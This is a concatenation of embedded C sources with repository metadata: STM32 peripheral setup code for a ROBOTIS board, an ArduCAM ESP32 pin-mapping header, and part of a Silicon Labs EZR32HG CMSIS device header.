TIM_PrescalerConfig(TIM2, TIM2_PRESCALER, TIM_PSCReloadMode_Immediate);
// Timer 2 output compare timing mode configuration
TIM_OCInitStructure.TIM_OCMode = TIM_OCMode_Timing;
TIM_OCInitStructure.TIM_OutputState = TIM_OutputState_Disable;
TIM_OCInitStructure.TIM_OCPolarity = TIM_OCPolarity_High;
// Configure the capture compare register values for timer 2 (sets the frequency of the associated interrupts)
// TIM_OCInitStructure.TIM_Pulse = TIM2_CCR1_VAL;
// TIM_OC1Init(TIM2, &TIM_OCInitStructure);
// TIM_OC1PreloadConfig(TIM2, TIM_OCPreload_Disable);
// TIM_OCInitStructure.TIM_Pulse = TIM2_CCR2_VAL;
// TIM_OC2Init(TIM2, &TIM_OCInitStructure);
// TIM_OC2PreloadConfig(TIM2, TIM_OCPreload_Disable);
// TIM_OCInitStructure.TIM_Pulse = TIM2_CCR3_VAL;
// TIM_OC3Init(TIM2, &TIM_OCInitStructure);
// TIM_OC3PreloadConfig(TIM2, TIM_OCPreload_Disable);
TIM_OCInitStructure.TIM_Pulse = TIM2_CCR4_VAL;
TIM_OC4Init(TIM2, &TIM_OCInitStructure);
TIM_OC4PreloadConfig(TIM2, TIM_OCPreload_Disable);
// Enable the capture compare interrupts for timer 2
TIM_ITConfig(TIM2, /*TIM_IT_CC1 | TIM_IT_CC2 | TIM_IT_CC3 |*/ TIM_IT_CC4 , ENABLE);
// Enable timer 2
TIM_Cmd(TIM2, ENABLE);
}
// Configure the Cortex System Timer
void SysTick_Configuration(void)
{
// Set up SysTick to elapse every 1ms (Cortex System Timer frequency = HCLK/8 = 72MHz/8 = 9MHz = 9000*1kHz)
SysTick_SetReload(9000);
// Enable SysTick interrupt
SysTick_ITConfig(ENABLE);
}
// Configure the system clocks
void RCC_Configuration(void)
{
// Declare variables
ErrorStatus HSEStartUpStatus;
// RCC system reset(for debug purposes)
RCC_DeInit();
// Enable the High Speed External (HSE) clock
RCC_HSEConfig(RCC_HSE_ON);
// Wait until the HSE is ready
HSEStartUpStatus = RCC_WaitForHSEStartUp();
// Configure the Phase-Locked Loop (PLL) to drive the system clock
if(HSEStartUpStatus == SUCCESS)
{
// Enable prefetch buffer
FLASH_PrefetchBufferCmd(FLASH_PrefetchBuffer_Enable);
// Flash 2 wait state
FLASH_SetLatency(FLASH_Latency_2);
// HCLK = SYSCLK
RCC_HCLKConfig(RCC_SYSCLK_Div1);
// PCLK2 = HCLK
RCC_PCLK2Config(RCC_HCLK_Div1);
// PCLK1 = HCLK/2
RCC_PCLK1Config(RCC_HCLK_Div2);
// PLLCLK = 8MHz * 9 = 72 MHz (maximum clock frequency possible)
RCC_PLLConfig(RCC_PLLSource_HSE_Div1, RCC_PLLMul_9);
// Enable PLL
RCC_PLLCmd(ENABLE);
// Wait until PLL is ready
while(RCC_GetFlagStatus(RCC_FLAG_PLLRDY) == RESET) {}
// Select PLL as the system clock source
RCC_SYSCLKConfig(RCC_SYSCLKSource_PLLCLK);
// Wait until PLL is actually being used as the system clock source
while(RCC_GetSYSCLKSource() != 0x08) {}
}
// Enable the peripheral clocks
RCC_APB2PeriphClockCmd(RCC_APB2Periph_USART1 | RCC_APB2Periph_TIM1 | RCC_APB2Periph_TIM8 |
RCC_APB2Periph_GPIOA | RCC_APB2Periph_GPIOB | RCC_APB2Periph_GPIOC | RCC_APB2Periph_GPIOD |
RCC_APB2Periph_ADC1 | RCC_APB2Periph_ADC2 | RCC_APB2Periph_AFIO, ENABLE);
RCC_APB1PeriphClockCmd(RCC_APB1Periph_TIM2 | RCC_APB1Periph_TIM3 | RCC_APB1Periph_TIM4 | RCC_APB1Periph_TIM5 |
RCC_APB1Periph_USART3 | RCC_APB1Periph_UART5 | RCC_APB1Periph_SPI2 |
RCC_APB1Periph_BKP | RCC_APB1Periph_PWR, ENABLE);
// Enable access to the Real-Time Clock (RTC) and backup registers
PWR_BackupAccessCmd(ENABLE);
}
// Configure USART
void USART_Configuration(u8 PORT, u32 baudrate)
{
// Declare and initialise variables
USART_InitTypeDef USART_InitStructure;
USART_StructInit(&USART_InitStructure);
// Populate the USART initialisation structure
USART_InitStructure.USART_BaudRate = baudrate;
USART_InitStructure.USART_WordLength = USART_WordLength_8b;
USART_InitStructure.USART_StopBits = USART_StopBits_1;
USART_InitStructure.USART_Parity = USART_Parity_No ;
USART_InitStructure.USART_HardwareFlowControl = USART_HardwareFlowControl_None;
USART_InitStructure.USART_Mode = USART_Mode_Rx | USART_Mode_Tx;
// Configure the required USART port/connection
if(PORT == USART_DXL)
{
// Save the baudrate in the appropriate variable
Baudrate_DXL = baudrate;
// Initialise the USART1 peripheral
USART_DeInit(USART1);
USART_Init(USART1, &USART_InitStructure);
// Configure the USART1 interrupts we need
USART_ITConfig(USART1, USART_IT_RXNE, ENABLE); // Sets RXNEIE (enables RXNE, ORE interrupts)
USART_ITConfig(USART1, USART_IT_TC, DISABLE); // Resets TCIE (disables TC interrupt, this interrupt is enabled dynamically when it is needed)
// Disable all other USART1 interrupts
USART_ITConfig(USART1, USART_IT_TXE, DISABLE); // Resets TXEIE
USART_ITConfig(USART1, USART_IT_CTS, DISABLE); // Resets CTSIE
USART_ITConfig(USART1, USART_IT_IDLE, DISABLE); // Resets IDLEIE
USART_ITConfig(USART1, USART_IT_PE, DISABLE); // Resets PEIE
USART_ITConfig(USART1, USART_IT_LBD, DISABLE); // Resets LBDIE
USART_ITConfig(USART1, USART_IT_ERR, DISABLE); // Resets EIE (noise error, overrun error, frame error)
// Initialise the buffers and variables corresponding to the port
USARTInit(USART_DXL);
// Enable the USART1 peripheral
USART_Cmd(USART1, ENABLE);
}
else if(PORT == USART_ZIG)
{
// Save the baudrate in the appropriate variable
Baudrate_ZIG = baudrate;
// Initialise the UART5 peripheral
USART_DeInit(UART5);
USART_Init(UART5, &USART_InitStructure);
// Enable the UART5 RX interrupt
#if ALLOW_ZIGBEE
USART_ITConfig(UART5, USART_IT_RXNE, ENABLE);
#else
USART_ITConfig(UART5, USART_IT_RXNE, DISABLE);
#endif
// Disable all other UART5 interrupts
USART_ITConfig(UART5, USART_IT_TXE, DISABLE); // Resets TXEIE
USART_ITConfig(UART5, USART_IT_TC, DISABLE); // Resets TCIE
USART_ITConfig(UART5, USART_IT_IDLE, DISABLE); // Resets IDLEIE
USART_ITConfig(UART5, USART_IT_PE, DISABLE); // Resets PEIE
USART_ITConfig(UART5, USART_IT_LBD, DISABLE); // Resets LBDIE
USART_ITConfig(UART5, USART_IT_ERR, DISABLE); // Resets EIE (noise error, overrun error, frame error)
// Initialise the buffers and variables corresponding to the port
USARTInit(USART_ZIG);
// Enable the UART5 peripheral
#if ALLOW_ZIGBEE
USART_Cmd(UART5, ENABLE);
#endif
}
else if(PORT == USART_PC)
{
// Save the baudrate in the appropriate variable
Baudrate_PC = baudrate;
// Initialise the USART3 peripheral
USART_DeInit(USART3);
USART_Init(USART3, &USART_InitStructure);
// Configure the USART3 interrupts we need
USART_ITConfig(USART3, USART_IT_RXNE, ENABLE); // Sets RXNEIE (enables RXNE, ORE interrupts)
USART_ITConfig(USART3, USART_IT_TC, DISABLE); // Resets TCIE (disables TC interrupt, this interrupt is enabled dynamically when it is needed)
// Disable all other USART3 interrupts
USART_ITConfig(USART3, USART_IT_TXE, DISABLE); // Resets TXEIE
USART_ITConfig(USART3, USART_IT_CTS, DISABLE); // Resets CTSIE
USART_ITConfig(USART3, USART_IT_IDLE, DISABLE); // Resets IDLEIE
USART_ITConfig(USART3, USART_IT_PE, DISABLE); // Resets PEIE
USART_ITConfig(USART3, USART_IT_LBD, DISABLE); // Resets LBDIE
USART_ITConfig(USART3, USART_IT_ERR, DISABLE); // Resets EIE (noise error, overrun error, frame error)
// Initialise the buffers and variables corresponding to the port
USARTInit(USART_PC);
// Enable the USART3 peripheral
USART_Cmd(USART3, ENABLE);
}
}
// Retrieve the baudrate of the given USART port
u32 USART_GetBaudrate(u8 PORT)
{
// Return the required baudrate
if(PORT == USART_DXL)
return Baudrate_DXL;
else if(PORT == USART_ZIG)
return Baudrate_ZIG;
else if(PORT == USART_PC)
return Baudrate_PC;
// Unknown port => Return zero
return 0;
}
// Configure the Analog-to-Digital converters
void ADC_Configuration(void)
{
// Declare and initialise variables
ADC_InitTypeDef ADC_InitStructure;
ADC_StructInit(&ADC_InitStructure);
// Populate the ADC initialisation structure
ADC_InitStructure.ADC_Mode = ADC_Mode_Independent;
ADC_InitStructure.ADC_ScanConvMode = DISABLE;
ADC_InitStructure.ADC_ContinuousConvMode = ENABLE;
ADC_InitStructure.ADC_ExternalTrigConv = ADC_ExternalTrigConv_None;
ADC_InitStructure.ADC_DataAlign = ADC_DataAlign_Right;
ADC_InitStructure.ADC_NbrOfChannel = 1;
// Initialise the ADC peripherals
ADC_Init(ADC1, &ADC_InitStructure);
ADC_Init(ADC2, &ADC_InitStructure);
// Initialise the ISR function for the ADC (called from the TIM2 interrupt)
initADCISR();
// Disable the ADC interrupts
ADC_ITConfig(ADC1, ADC_IT_EOC, DISABLE);
ADC_ITConfig(ADC2, ADC_IT_EOC, DISABLE);
// Enable the ADC peripherals
ADC_Cmd(ADC1, ENABLE);
ADC_Cmd(ADC2, ENABLE);
// Reset the ADC calibration registers
ADC_ResetCalibration(ADC1);
while(ADC_GetResetCalibrationStatus(ADC1));
ADC_ResetCalibration(ADC2);
while(ADC_GetResetCalibrationStatus(ADC2));
// Calibrate the ADC peripherals
ADC_StartCalibration(ADC1);
while(ADC_GetCalibrationStatus(ADC1));
ADC_StartCalibration(ADC2);
while(ADC_GetCalibrationStatus(ADC2));
// Start the continuous ADC conversions
ADC_SoftwareStartConvCmd(ADC1, ENABLE);
ADC_SoftwareStartConvCmd(ADC2, ENABLE);
}
// Configure the SPI peripherals
void SPI_Configuration(void)
{
// Declare and initialise variables
SPI_InitTypeDef SPI_InitStructure;
SPI_StructInit(&SPI_InitStructure);
// Populate the SPI initialisation structure
SPI_InitStructure.SPI_Direction = SPI_Direction_2Lines_FullDuplex;
SPI_InitStructure.SPI_Mode = SPI_Mode_Master;
SPI_InitStructure.SPI_DataSize = SPI_DataSize_8b;
SPI_InitStructure.SPI_CPOL = SPI_CPOL_High;
SPI_InitStructure.SPI_CPHA = SPI_CPHA_2Edge;
SPI_InitStructure.SPI_NSS = SPI_NSS_Soft;
SPI_InitStructure.SPI_BaudRatePrescaler = SPI_BaudRatePrescaler_4;
SPI_InitStructure.SPI_FirstBit = SPI_FirstBit_MSB;
SPI_InitStructure.SPI_CRCPolynomial = 7;
// Initialise the SPI2 peripheral
SPI_Init(SPI2, &SPI_InitStructure);
// Enable the SPI2 peripheral
SPI_Cmd(SPI2, ENABLE);
}
// Configure the various GPIO ports
void GPIO_Configuration(void)
{
// Declare and initialise variables
GPIO_InitTypeDef GPIO_InitStructure;
GPIO_StructInit(&GPIO_InitStructure);
//
// Port A
//
// RGBLED6 pins
GPIO_InitStructure.GPIO_Pin = PIN_LED6_R | PIN_LED6_G | PIN_LED6_B;
GPIO_InitStructure.GPIO_Speed = GPIO_Speed_50MHz;
GPIO_InitStructure.GPIO_Mode = GPIO_Mode_Out_PP;
GPIO_Init(GPIOA, &GPIO_InitStructure);
// USB sleep pin (for detecting USB connection state)
GPIO_InitStructure.GPIO_Pin = PIN_USB_SLEEP;
GPIO_InitStructure.GPIO_Mode = GPIO_Mode_IPD;
GPIO_Init(GPIOA, &GPIO_InitStructure);
// PC USART RX pin
GPIO_InitStructure.GPIO_Pin = PIN_CPU_RXD;
GPIO_InitStructure.GPIO_Mode = GPIO_Mode_IN_FLOATING;
GPIO_Init(GPIOA, &GPIO_InitStructure);
// PC USART TX pin
GPIO_InitStructure.GPIO_Pin = PIN_CPU_TXD;
GPIO_InitStructure.GPIO_Speed = GPIO_Speed_50MHz;
GPIO_InitStructure.GPIO_Mode = GPIO_Mode_AF_PP;
GPIO_Init(GPIOA, &GPIO_InitStructure);
// ADC pins
GPIO_InitStructure.GPIO_Pin = PIN_ADC4 | PIN_ADC5 | PIN_ADC6 | PIN_ADC7 | PIN_ADC8 | PIN_ADC9 | PIN_ADC10 | PIN_ADC11;
GPIO_InitStructure.GPIO_Mode = GPIO_Mode_AIN;
GPIO_Init(GPIOA, &GPIO_InitStructure);
// Button (SW) pins
GPIO_InitStructure.GPIO_Pin = PIN_SW_MODE | PIN_SW_START;
GPIO_InitStructure.GPIO_Mode = GPIO_Mode_IPU;
GPIO_Init(GPIOA, &GPIO_InitStructure);
//
// Port B
//
// Output pins
GPIO_InitStructure.GPIO_Pin = PIN_ENABLE_TX | PIN_ENABLE_RX | PIN_ENABLE_DXLPWR | PIN_BOOT1 | PIN_LED3;
GPIO_InitStructure.GPIO_Speed = GPIO_Speed_50MHz;
GPIO_InitStructure.GPIO_Mode = GPIO_Mode_Out_PP;
GPIO_Init(GPIOB, &GPIO_InitStructure);
// Enable Zigbee pin
#if !DEBUG_USE_JTAG
GPIO_InitStructure.GPIO_Pin = PIN_ENABLE_ZIGBEE;
GPIO_InitStructure.GPIO_Speed = GPIO_Speed_50MHz;
GPIO_InitStructure.GPIO_Mode = GPIO_Mode_Out_PP;
GPIO_Init(GPIOB, &GPIO_InitStructure);
#endif
// USART RX pins
GPIO_InitStructure.GPIO_Pin = PIN_DXL_RXD | PIN_PC_RXD;
GPIO_InitStructure.GPIO_Mode = GPIO_Mode_IN_FLOATING;
GPIO_Init(GPIOB, &GPIO_InitStructure);
// Communications pins
GPIO_InitStructure.GPIO_Pin = PIN_DXL_TXD | PIN_PC_TXD | PIN_SIG_SCK | PIN_SIG_MOSI | PIN_SIG_MISO | PIN_SIG_BUZZER;
GPIO_InitStructure.GPIO_Speed = GPIO_Speed_50MHz;
GPIO_InitStructure.GPIO_Mode = GPIO_Mode_AF_PP;
GPIO_Init(GPIOB, &GPIO_InitStructure);
// ADC pins
GPIO_InitStructure.GPIO_Pin = PIN_ADC14 | PIN_ADC15;
GPIO_InitStructure.GPIO_Mode = GPIO_Mode_AIN;
GPIO_Init(GPIOB, &GPIO_InitStructure);
//
// Port C
//
// Output pins
GPIO_InitStructure.GPIO_Pin = PIN_LED4 | PIN_LED5_R | PIN_LED5_G | PIN_LED5_B | PIN_SIG_ACC_CS | PIN_SIG_GYRO_CS | PIN_LED_TX | PIN_LED_RX | PIN_LED2;
GPIO_InitStructure.GPIO_Speed = GPIO_Speed_50MHz;
GPIO_InitStructure.GPIO_Mode = GPIO_Mode_Out_PP;
GPIO_Init(GPIOC, &GPIO_InitStructure);
// Zigbee TX pin
GPIO_InitStructure.GPIO_Pin = PIN_ZIGBEE_TXD;
GPIO_InitStructure.GPIO_Speed = GPIO_Speed_50MHz;
GPIO_InitStructure.GPIO_Mode = GPIO_Mode_AF_PP;
GPIO_Init(GPIOC, &GPIO_InitStructure);
// ADC pins
GPIO_InitStructure.GPIO_Pin = PIN_ADC0 | PIN_ADC1 | PIN_ADC2 | PIN_ADC3 | PIN_ADC12 | PIN_ADC13;
GPIO_InitStructure.GPIO_Mode = GPIO_Mode_AIN;
GPIO_Init(GPIOC, &GPIO_InitStructure);
//
// Port D
//
// Zigbee RX pin
GPIO_InitStructure.GPIO_Pin = PIN_ZIGBEE_RXD;
GPIO_InitStructure.GPIO_Mode = GPIO_Mode_IN_FLOATING;
GPIO_Init(GPIOD, &GPIO_InitStructure);
// Configure USART1 pin remapping
GPIO_PinRemapConfig(GPIO_Remap_USART1, ENABLE);
// Configure JTAG pin remapping
#if DEBUG_USE_JTAG
GPIO_PinRemapConfig(GPIO_Remap_SWJ_NoJTRST, ENABLE); // Disable the NJTRST remap of the TXD_ENABLE pin ('PIN_ENABLE_TX') for the case that JTAG is enabled
#else
GPIO_PinRemapConfig(GPIO_Remap_SWJ_Disable, ENABLE);
#endif
}
// Configure the Nested Vectored Interrupt Controller (NVIC)
void NVIC_Configuration(void)
{
// Declare variables
NVIC_InitTypeDef NVIC_InitStructure;
// Set the vector table base location
#ifdef VECT_TAB_RAM
NVIC_SetVectorTable(NVIC_VectTab_RAM , 0x0000); // Located at 0x20000000
#else // VECT_TAB_FLASH
NVIC_SetVectorTable(NVIC_VectTab_FLASH, 0x3000); // Located at 0x08003000
#endif
// Configure the NVIC priority grouping (priority values are then of the format XX.XX[0000])
NVIC_PriorityGroupConfig(NVIC_PriorityGroup_2); // => Group Priority 0-3 (2 bits), SubPriority 0-3 (2 bits), a lower number corresponds to a higher priority (0 is the highest priority), only the Group Priority (i.e. not the SubPriority) determines whether an interrupt interrupts another, SubPriority then determines order of processing if multiple interrupts are pending
//
// Interrupt Priority 0
//
// Configure the USART3 interrupt
NVIC_InitStructure.NVIC_IRQChannel = USART3_IRQChannel; // Priority 00.00[0000]
NVIC_InitStructure.NVIC_IRQChannelPreemptionPriority = 0;
NVIC_InitStructure.NVIC_IRQChannelSubPriority = 0;
NVIC_InitStructure.NVIC_IRQChannelCmd = ENABLE;
NVIC_Init(&NVIC_InitStructure);
// Configure the USART1 interrupt
NVIC_InitStructure.NVIC_IRQChannel = USART1_IRQChannel; // Priority 00.01[0000]
NVIC_InitStructure.NVIC_IRQChannelPreemptionPriority = 0;
NVIC_InitStructure.NVIC_IRQChannelSubPriority = 1;
NVIC_InitStructure.NVIC_IRQChannelCmd = ENABLE;
NVIC_Init(&NVIC_InitStructure);
#if ALLOW_ZIGBEE
// Configure the UART5 interrupt
NVIC_InitStructure.NVIC_IRQChannel = UART5_IRQChannel; // Priority 00.10[0000]
NVIC_InitStructure.NVIC_IRQChannelPreemptionPriority = 0;
NVIC_InitStructure.NVIC_IRQChannelSubPriority = 2;
NVIC_InitStructure.NVIC_IRQChannelCmd = ENABLE;
NVIC_Init(&NVIC_InitStructure);
#endif
//
// Interrupt Priority 1
//
// Configure the DXL Rx handler interrupt
NVIC_InitStructure.NVIC_IRQChannel = IRQ_DXL_RXHANDLER; // Priority 01.00[0000]
NVIC_InitStructure.NVIC_IRQChannelPreemptionPriority = 1;
NVIC_InitStructure.NVIC_IRQChannelSubPriority = 0;
NVIC_InitStructure.NVIC_IRQChannelCmd = ENABLE;
NVIC_Init(&NVIC_InitStructure);
// Configure the PC Rx handler interrupt
NVIC_InitStructure.NVIC_IRQChannel = IRQ_PC_RXHANDLER; // Priority 01.01[0000]
NVIC_InitStructure.NVIC_IRQChannelPreemptionPriority = 1;
NVIC_InitStructure.NVIC_IRQChannelSubPriority = 1;
NVIC_InitStructure.NVIC_IRQChannelCmd = ENABLE;
NVIC_Init(&NVIC_InitStructure);
// Configure the DXL Tx handler interrupt
NVIC_InitStructure.NVIC_IRQChannel = IRQ_DXL_TXHANDLER; // Priority 01.10[0000]
NVIC_InitStructure.NVIC_IRQChannelPreemptionPriority = 1;
NVIC_InitStructure.NVIC_IRQChannelSubPriority = 2;
NVIC_InitStructure.NVIC_IRQChannelCmd = ENABLE;
NVIC_Init(&NVIC_InitStructure);
// Configure the PC Tx handler interrupt
NVIC_InitStructure.NVIC_IRQChannel = IRQ_PC_TXHANDLER; // Priority 01.11[0000]
NVIC_InitStructure.NVIC_IRQChannelPreemptionPriority = 1;
NVIC_InitStructure.NVIC_IRQChannelSubPriority = 3;
NVIC_InitStructure.NVIC_IRQChannelCmd = ENABLE;
NVIC_Init(&NVIC_InitStructure);
//
// Interrupt Priority 2
//
// Configure the TIM2 interrupt
NVIC_InitStructure.NVIC_IRQChannel = TIM2_IRQChannel; // Priority 10.00[0000]
NVIC_InitStructure.NVIC_IRQChannelPreemptionPriority = 2;
NVIC_InitStructure.NVIC_IRQChannelSubPriority = 0;
NVIC_InitStructure.NVIC_IRQChannelCmd = ENABLE;
NVIC_Init(&NVIC_InitStructure);
}
/******************* (C) COPYRIGHT 2010 ROBOTIS *****END OF FILE****/
| [
"anhrisn@gmail.com"
] | anhrisn@gmail.com |
0b3e9021be2486464a4926ecb645d361f9892898 | e279fe2c4e0822448b19f4dfe871f24287b79c26 | /variants/ArduCAM_ESP32S_UNO_PSRAM/pins_arduino.h | 3a9417d71fe954206e55472de9cea323ba56b1f6 | [] | no_license | ArduCAM/ArduCAM_ESP32S_UNO_PSRAM | 171f5ef073f820ea98222c0f34d92253eadaa0a9 | 18463b501075000784d3b3e6409c20b33c082ae0 | refs/heads/master | 2022-03-09T11:03:20.209031 | 2021-09-09T01:15:52 | 2021-09-09T01:15:52 | 196,910,169 | 21 | 25 | null | 2022-02-24T23:44:15 | 2019-07-15T02:32:17 | C | UTF-8 | C | false | false | 2,186 | h | #ifndef Pins_Arduino_h
#define Pins_Arduino_h
#include <stdint.h>
#define EXTERNAL_NUM_INTERRUPTS 16
#define NUM_DIGITAL_PINS 40
#define NUM_ANALOG_INPUTS 16
#define analogInputToDigitalPin(p) (((p)<20)?(esp32_adc2gpio[(p)]):-1)
#define digitalPinToInterrupt(p) (((p)<40)?(p):-1)
#define digitalPinHasPWM(p) (p < 34)
static const uint8_t LED_BUILTIN = 2;
#define BUILTIN_LED LED_BUILTIN // backward compatibility
static const uint8_t KEY_BUILTIN = 0;
static const uint8_t TX = 1;
static const uint8_t RX = 3;
static const uint8_t SDA = 21;
static const uint8_t SCL = 22;
static const uint8_t SS = 0;
static const uint8_t MOSI = 23;
static const uint8_t MISO = 19;
static const uint8_t SCK = 18;
static const uint8_t D0 = 3;
static const uint8_t D1 = 1;
static const uint8_t D2 = 13;
static const uint8_t D3 = 12;
static const uint8_t D4 = 14;
static const uint8_t D5 = 15;
static const uint8_t D6 = 25;
static const uint8_t D7 = 5;
static const uint8_t D8 = 2;
static const uint8_t D9 = 0;
static const uint8_t D10 = 4;
static const uint8_t D11 = 27;
static const uint8_t D12 = 26;
static const uint8_t S0 = 36;
static const uint8_t S1 = 39;
static const uint8_t S2 = 32;
static const uint8_t S3 = 33;
static const uint8_t S4 = 34;
static const uint8_t S5 = 35;
static const uint8_t A0 = 36;
static const uint8_t A3 = 39;
static const uint8_t A4 = 32;
static const uint8_t A5 = 33;
static const uint8_t A6 = 34;
static const uint8_t A7 = 35;
static const uint8_t A10 = 4;
static const uint8_t A11 = 0;
static const uint8_t A12 = 2;
static const uint8_t A13 = 15;
static const uint8_t A14 = 13;
static const uint8_t A15 = 12;
static const uint8_t A16 = 14;
static const uint8_t A17 = 27;
static const uint8_t A18 = 25;
static const uint8_t A19 = 26;
static const uint8_t T0 = 4;
static const uint8_t T1 = 0;
static const uint8_t T2 = 2;
static const uint8_t T3 = 15;
static const uint8_t T4 = 13;
static const uint8_t T5 = 12;
static const uint8_t T6 = 14;
static const uint8_t T7 = 27;
static const uint8_t T8 = 33;
static const uint8_t T9 = 32;
static const uint8_t DAC1 = 25;
static const uint8_t DAC2 = 26;
#endif /* Pins_Arduino_h */
| [
"avahe.uctronics.com"
] | avahe.uctronics.com |
b8cef1fefeb0d5061e3acfe668d228e2bc3b4f6f | 9980de4267127b2ef8452af164387526dc1ca483 | /platform/Device/SiliconLabs/EZR32HG/Include/ezr32hg320f64r69.h | 3af332c26f7c2e7b164da1f07f442d168103dc3b | [] | no_license | a-v-s/Gecko_SDK | 74df2d4cace0da22cdc382102e65f489b7d33a25 | f32fba67c98aa7f447708424ad2aa9519bc57fd2 | refs/heads/master | 2022-02-25T18:03:15.036123 | 2019-09-01T12:53:02 | 2019-09-01T12:53:02 | 186,304,303 | 1 | 1 | null | null | null | null | UTF-8 | C | false | false | 23,116 | h | /***************************************************************************//**
* @file
* @brief CMSIS Cortex-M Peripheral Access Layer Header File
* for EZR32HG320F64R69
* @version 5.8.1
*******************************************************************************
* # License
* <b>Copyright 2019 Silicon Laboratories Inc. www.silabs.com</b>
*******************************************************************************
*
* SPDX-License-Identifier: Zlib
*
* The licensor of this software is Silicon Laboratories Inc.
*
* This software is provided 'as-is', without any express or implied
* warranty. In no event will the authors be held liable for any damages
* arising from the use of this software.
*
* Permission is granted to anyone to use this software for any purpose,
* including commercial applications, and to alter it and redistribute it
* freely, subject to the following restrictions:
*
* 1. The origin of this software must not be misrepresented; you must not
* claim that you wrote the original software. If you use this software
* in a product, an acknowledgment in the product documentation would be
* appreciated but is not required.
* 2. Altered source versions must be plainly marked as such, and must not be
* misrepresented as being the original software.
* 3. This notice may not be removed or altered from any source distribution.
*
******************************************************************************/
#if defined(__ICCARM__)
#pragma system_include /* Treat file as system include file. */
#elif defined(__ARMCC_VERSION) && (__ARMCC_VERSION >= 6010050)
#pragma clang system_header /* Treat file as system include file. */
#endif
#ifndef EZR32HG320F64R69_H
#define EZR32HG320F64R69_H
#ifdef __cplusplus
extern "C" {
#endif
/***************************************************************************//**
* @addtogroup Parts
* @{
******************************************************************************/
/***************************************************************************//**
* @defgroup EZR32HG320F64R69 EZR32HG320F64R69
* @{
******************************************************************************/
/** Interrupt Number Definition */
typedef enum IRQn{
/****** Cortex-M0+ Processor Exceptions Numbers *****************************************/
NonMaskableInt_IRQn = -14, /*!< -14 Cortex-M0+ Non Maskable Interrupt */
HardFault_IRQn = -13, /*!< -13 Cortex-M0+ Hard Fault Interrupt */
SVCall_IRQn = -5, /*!< -5 Cortex-M0+ SV Call Interrupt */
PendSV_IRQn = -2, /*!< -2 Cortex-M0+ Pend SV Interrupt */
SysTick_IRQn = -1, /*!< -1 Cortex-M0+ System Tick Interrupt */
/****** EZR32HG Peripheral Interrupt Numbers ********************************************/
DMA_IRQn = 0, /*!< 0 EZR32 DMA Interrupt */
GPIO_EVEN_IRQn = 1, /*!< 1 EZR32 GPIO_EVEN Interrupt */
TIMER0_IRQn = 2, /*!< 2 EZR32 TIMER0 Interrupt */
ADC0_IRQn = 4, /*!< 4 EZR32 ADC0 Interrupt */
I2C0_IRQn = 5, /*!< 5 EZR32 I2C0 Interrupt */
GPIO_ODD_IRQn = 6, /*!< 6 EZR32 GPIO_ODD Interrupt */
TIMER1_IRQn = 7, /*!< 7 EZR32 TIMER1 Interrupt */
USARTRF1_RX_IRQn = 8, /*!< 8 EZR32 USARTRF1_RX Interrupt */
USARTRF1_TX_IRQn = 9, /*!< 9 EZR32 USARTRF1_TX Interrupt */
LEUART0_IRQn = 10, /*!< 10 EZR32 LEUART0 Interrupt */
PCNT0_IRQn = 11, /*!< 11 EZR32 PCNT0 Interrupt */
RTC_IRQn = 12, /*!< 12 EZR32 RTC Interrupt */
CMU_IRQn = 13, /*!< 13 EZR32 CMU Interrupt */
VCMP_IRQn = 14, /*!< 14 EZR32 VCMP Interrupt */
MSC_IRQn = 15, /*!< 15 EZR32 MSC Interrupt */
AES_IRQn = 16, /*!< 16 EZR32 AES Interrupt */
USART0_RX_IRQn = 17, /*!< 17 EZR32 USART0_RX Interrupt */
USART0_TX_IRQn = 18, /*!< 18 EZR32 USART0_TX Interrupt */
USB_IRQn = 19, /*!< 19 EZR32 USB Interrupt */
TIMER2_IRQn = 20, /*!< 20 EZR32 TIMER2 Interrupt */
} IRQn_Type;
/***************************************************************************//**
* @defgroup EZR32HG320F64R69_Core EZR32HG320F64R69 Core
* @{
* @brief Processor and Core Peripheral Section
******************************************************************************/
#define __MPU_PRESENT 0U /**< MPU not present */
#define __VTOR_PRESENT 1U /**< Presence of VTOR register in SCB */
#define __NVIC_PRIO_BITS 2U /**< NVIC interrupt priority bits */
#define __Vendor_SysTickConfig 0U /**< Is 1 if different SysTick counter is used */
/** @} End of group EZR32HG320F64R69_Core */
/***************************************************************************//**
* @defgroup EZR32HG320F64R69_Part EZR32HG320F64R69 Part
* @{
******************************************************************************/
/** Part family */
#define _EFM32_HAPPY_FAMILY 1 /**< Happy Gecko EFM32HG MCU Family */
#define _EFM_DEVICE /**< Silicon Labs EFM-type microcontroller */
#define _EZR32_HAPPY_FAMILY 1 /**< Happy Gecko EZR32HG MCU Family */
#define _EZR_DEVICE /**< Silicon Labs EZR-type microcontroller */
#define _SILICON_LABS_32B_SERIES_0 /**< Silicon Labs series number */
#define _SILICON_LABS_32B_SERIES 0 /**< Silicon Labs series number */
#define _SILICON_LABS_GECKO_INTERNAL_SDID 77 /**< Silicon Labs internal use only, may change any time */
#define _SILICON_LABS_GECKO_INTERNAL_SDID_77 /**< Silicon Labs internal use only, may change any time */
#define _SILICON_LABS_32B_PLATFORM_1 /**< @deprecated Silicon Labs platform name */
#define _SILICON_LABS_32B_PLATFORM 1 /**< @deprecated Silicon Labs platform name */
/* If part number is not defined as compiler option, define it */
#if !defined(EZR32HG320F64R69)
#define EZR32HG320F64R69 1 /**< EZR Happy Gecko Part */
#endif
/** Configure part number */
#define PART_NUMBER "EZR32HG320F64R69" /**< Part Number */
/** Memory Base addresses and limits */
#define FLASH_MEM_BASE (0x0UL) /**< FLASH base address */
#define FLASH_MEM_SIZE (0x10000000UL) /**< FLASH available address space */
#define FLASH_MEM_END (0xFFFFFFFUL) /**< FLASH end address */
#define FLASH_MEM_BITS (0x28UL) /**< FLASH used bits */
#define AES_MEM_BASE (0x400E0000UL) /**< AES base address */
#define AES_MEM_SIZE (0x400UL) /**< AES available address space */
#define AES_MEM_END (0x400E03FFUL) /**< AES end address */
#define AES_MEM_BITS (0x10UL) /**< AES used bits */
#define USBC_MEM_BASE (0x40100000UL) /**< USBC base address */
#define USBC_MEM_SIZE (0x40000UL) /**< USBC available address space */
#define USBC_MEM_END (0x4013FFFFUL) /**< USBC end address */
#define USBC_MEM_BITS (0x18UL) /**< USBC used bits */
#define PER_MEM_BASE (0x40000000UL) /**< PER base address */
#define PER_MEM_SIZE (0xE0000UL) /**< PER available address space */
#define PER_MEM_END (0x400DFFFFUL) /**< PER end address */
#define PER_MEM_BITS (0x20UL) /**< PER used bits */
#define RAM_MEM_BASE (0x20000000UL) /**< RAM base address */
#define RAM_MEM_SIZE (0x40000UL) /**< RAM available address space */
#define RAM_MEM_END (0x2003FFFFUL) /**< RAM end address */
#define RAM_MEM_BITS (0x18UL) /**< RAM used bits */
